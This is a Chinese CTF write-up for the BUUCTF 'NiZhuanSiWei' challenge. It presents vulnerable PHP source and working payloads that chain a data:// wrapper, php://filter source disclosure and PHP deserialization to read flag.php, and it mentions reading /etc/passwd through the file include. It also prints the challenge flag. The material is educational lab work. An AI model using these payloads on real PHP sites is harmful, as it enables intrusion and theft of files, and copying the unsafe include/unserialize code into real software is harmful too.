NiZhuanSiWei
可参考:点击这查看
buu上面一道题
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
第一个绕过点
主要代码如下:
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
这里需要我们传入一个文件且其内容为welcome to the zjctf,这样的话往后面看没有其他可以利用的点,我们就无法写入文件再读取,就剩下了一个data伪协议。data协议通常是用来执行PHP代码,然而我们也可以将内容写入data协议中然后让file_get_contents函数取读取。
构造如下:
text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
当然也可以不需要base64,但是一般为了绕过某些过滤都会用到base64。
data://text/plain,welcome to the zjctf
第二个绕过点
$file = $_GET["file"];
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
这里有file参数可控,但是无法直接读取flag,可以直接读取/etc/passwd,但针对php文件我们需要进行base64编码,否则读取不到其内容,所以以下无法使用:
file=useless.php
这里想到了另一个协议——php://
php://filter用于读取源码php://input用于执行php代码
所以下面采用filter来读源码,但上面提到过针对php文件需要base64编码,所以使用其自带的base64过滤器。
php://filter/read=convert.base64-encode/resource=useless.php
读到的useless.php内容如下:
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
这里是一个反序列化的利用。
第三个绕过点
$password = $_GET["password"];
include($file); //useless.php
$password = unserialize($password);
echo $password;
上面提到了反序列化,我们只要在文件内包含了这一个useless.php文件后,利用unserialize()函数进行反序列化即可执行Flag类内的__tostring函数,而该函数的重点就在于echo file_get_contents($this->file);,且这里有一个tostring的魔术方法,当该对象被echo时就会调用该魔术方法。
这里的file是我们可控的,所以在本地测试后有执行下面代码即可出现payload:
<?php
class Flag{ //flag.php
public $file="flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a = new Flag();
echo serialize($a);
?>
//O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
最后payload如下:
text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
<br><h1>welcome to the zjctf</h1></br>
<br>oh u find it </br>
<!--but i cant give it to u now-->
<?php
if(2===3){
return ("flag{d942c2b9-45ff-4420-8f56-01b573aac610}");
}
?>
<br>U R SO CLOSE !///COME ON PLZ

浙公网安备 33010602011771号